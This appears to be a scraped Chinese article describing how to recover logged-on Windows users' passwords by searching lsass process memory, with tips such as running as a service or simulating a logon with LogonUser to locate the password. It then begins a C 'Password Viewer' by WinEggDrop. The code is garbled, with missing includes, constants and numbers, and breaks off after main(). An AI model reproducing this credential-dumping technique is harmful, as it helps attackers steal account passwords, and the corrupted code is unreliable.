⑴提高成功率的两种做法:
⑵.程序直接写成服务,定时检查本地或远程登陆(其实没什么分别),当检测到登陆后,去搜索lsass进程内存,尝试得到密码。
⑶.程序模拟一个登陆(使用LogonUser()就能搞定),因为使用LogonUser()这个API,你要提供帐号名和对应的正确的密码,才可以成功,然后你就可以去搜索lsass进程内存。因为知道密码是什么,我们就能定位到密码是保存在什么地方。因为登陆用户的密码都是保存在同一个地址或相离不远的地址中,模拟登陆和搜索,可以先定位以后登陆的用户的密码会大约保存在什么位置。
⑷无论怎说,三种方法中,最稳定,最安全的方法还是使用Gina那种方法.Hijack了winlogn一些API的方法,毕竟是改动了系统的东西,对系统的稳定性来说,会有考验,直接搜索lsass进程内存的方法呢,虽说也是困难,但准确性,成功率却又是低。
⑸下面的代码使用的是很笨,而且很原始的搜索方法,主要是搜索Lsass内存中"LocalSystem Remote Procedure"这个字符串,因为在相当多的测试中,密码都是保存在有这个字符串的地址后一点的位置中,当然了,很多系统并没有这个字符串,或者就算有,我们得到的都是错误的密码。
⑹代码: //********************************************************************************
⑺// Version: V.
⑻// Coder: WinEggDrop
⑼// Date Release: //
⑽// Purpose: To Demonstrate Searching Logon User Password On Box,The Method
⑾// Used Is Pretty Unwise,But This May Be The Only Way To Review The
⑿// Logon User's Password On windows .
⒀// Test PlatForm: windows
⒁// piled On: VC++ .
⒂//********************************************************************************
⒃#include
⒄#include
⒅#include
⒆#define BaseAddress xb // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address,Which Causes The Result Unreliable
⒇char Password[MAX_PATH] = ; // Store The Found Password
⒈// Function ProtoType Declaration
⒉//------------------------------------------------------------------------------------------------------
⒊BOOL FindPassword(DWORD PID);
⒋int Search(char *Buffer,const UINT nSize);
⒌DWORD GetLsassPID();
⒍BOOL Is();
⒎//------------------------------------------------------------------------------------------------------
⒏// End Of Fution ProtoType Declaration
⒐int main()
⒑DWORD PID = ;
⒒printf("windows Password Viewer V. By WinEggDrop
⒓if (!Is()) // Check Out If The Box Is
⒔printf("The Program Can't Only Run On windows Platform
⒕return -;
⒖PID = GetLsassPID(); // Get The Lsass.exe PID
⒗if (PID == ) // Fail To Get PID If Returning Zerom
⒘return -;
⒙FindPassword(PID); // Find The Password From Lsass.exe Memory
⒚return ;
⒛// End main()
①//------------------------------------------------------------------------------------